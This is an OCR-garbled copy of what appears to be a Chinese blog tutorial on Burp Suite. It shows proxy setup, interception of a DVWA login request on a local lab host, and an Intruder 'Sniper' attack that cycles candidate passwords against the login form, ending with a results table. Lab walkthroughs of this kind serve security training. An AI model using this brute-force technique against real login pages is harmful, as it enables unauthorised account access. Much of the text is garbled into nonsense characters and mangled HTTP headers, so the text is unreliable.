H %##1% % LKk --burpsuit

158 HE R A F 2020-05-23 20:31:37 KA 84 e

NERE: ZE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/weixin_43710367/article/details/106244084

FERAL
H %8 i% % 1 K -burpsuit

—. #o TR A
(1 FW

B RE RE HH# Burp Suite Community Edition v1.7.36 - Temporary Project
Burp Intruder Repeater window HelplE 7 2F € LF gl%_}: iﬁ ‘ﬁ; @J ﬁ«ﬁ%% I;b ﬁ # jT:, @ ﬁ ﬁ&ﬁ H;] F -B%E %%E_

_[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAIer‘ts ]

Site map | Scope

(2) REIRE

[Target T Prosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder

J Intercept T HTTP history TWebSnckets history T Cptions ]

E_JR ug E'-ctp:fﬂ%iﬁaﬁo.ugzaﬂ BT % 12
[ orwar J l Drop J | Intercept is on ] Action

| i 7 7 2

A%

BT Jfdvwa/login.php HTTE/1.1

logt: 192.168.60.129

lzer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0} Gecko/20100101 Fire
«woept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

«woept-Language: en-US,en;g=0.5

«woept-Encoding: gzip, deflate

‘eferer: http://192.168.60.129//dvwa/login.php

wokie: zecurity=low; PHPSESSID=dmivnpikeakaeglmivkThbpnn?; acopendivids
wonnection: close

lpgrade-Inzecure-KEeguestz: 1
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@ Proxy Listeners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. vou will need to configure your br
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FOST /dwwa/login.php HTTE/1.1 V] /J\. ] L] ]
HostC: 192.168.60.129 - <p clags="submit"><inpul type="submit" wvalue="Login" -
User-Agent: Mozilla/5.0 (X11; Linux x86_6Gd; rv:60.0} Gecko/20100101 Firefox/&0.0 name="Login"»</p»
accept: Lext/html,application/xhtml+xml,application/xml;g=0.0,*/*;g=0.8
Accept-Language: en-US,en;g=0.5 <ffieldset>
Accept-Encoding: gzip, deflate
Referer: http://102.168.60.120/dvwa/login.php <fform=
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Cookie: security=low; PHPSESSID=dmivnpikeakaeglmivk7hbpnn; <br />
acopendivids=swingset, jotto,phpbb2, redmine; acgroupswithpersist=nada
Connection: close <div class="message"»Login failed</divs<div class="message">Login
Upgrade-Insecure-Requests: 1 failed</divs=div class="message">Login failed</divs
username=adminipassword=zuoshiyansLogin=Login <br />
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Configure Proxy Access tothe Internet
No proxy
Auto-detect proxy settings for this network

Use system proxy settings

® éManualproxt_.r configuration

HTTP Proxy 127.0.0.1 Port 8080
¥ Use this proxy server for all protocols
SSL Proxy 127.0.0.1 Port 8080



CIP Proxy | L1z4.U.u0.1 MO BUSU
SOCKS Host  127.0.0.1 Port 8080

SOCKSv4 @ SOCKSv5
Mo Proxy for
localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Automatic proxy configuration URL
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Username
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POST Sfdvwa/login.php ETTE/1.1

Hozt: 1082.168.60.120

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:60.0} Gecko/ /20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.8,%/*;g=0.8
Accept-Language: en-US,en:;g=0.5

Accept-Encoding: gzip, deflate

Eeferer: http://192.168.60.129/dvwa/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

Cookie: security=low; PHPEESSID=dm3vnpikeakaeglmivkThbpnnl; acopendivide=swingsel,jolto,phpbbl.r
Connection: cloze

Upgrade-Insecure-Reguests: 1

Send to Spider
Do an active scan

ugername=admin&password=adm

Send to Intruder Ctrl+I
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Send to Repeater Ctrl+R

Send to Sequencer



Send to Comparer

Send to Decoder
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@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Aftack type: | Sniper

)

POST /dvwa/login.php HTTE/L.1

Host: 102.168.60.120

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,applica =0.9,%/*;q=0.8

on/xhtml+xml, application/xml;q
Accept-Language: en-US,en:g=

hooept-Encoding: gzip, deflate

Referer: hitp://192.168.60.120/dvwa/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length:

Cockie: security=low; PHPSEESID=dmivnpikeakaeglmivkThbpnn2; acopendivids=swingsel,jollo,phpbb2,redmine; acgroupswilhpersist=nada
Connection: close
Upgrade-Tnsecure-Requests: 1

username=adminkpassword=§00505558cLogin=Login|
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IEJ Payload Sets

wou can define ane or more payload sets. The number of payload sets depends an the attack
payload type can be customized in different ways.

Payload set: |_1 |"] Payload count: 3

Payload type: [Simple list |"] Request count: 3

@ Payload Options [Simple list]

Thi= payload type lets wou configure a simple list of strings that are used as payloads.
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G These setting=s control how Burp handles redirectio
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Filter: Showing all itemns
Request 4 | Payload | Status | Errar | Redir... | Timeout | Length | Comment
0 200 O 1 O 1833
1 adrnin 200 O 1 O 5218
2 rppt 200 a 1 g 1777
3 login' 200 O 1 0o 1777
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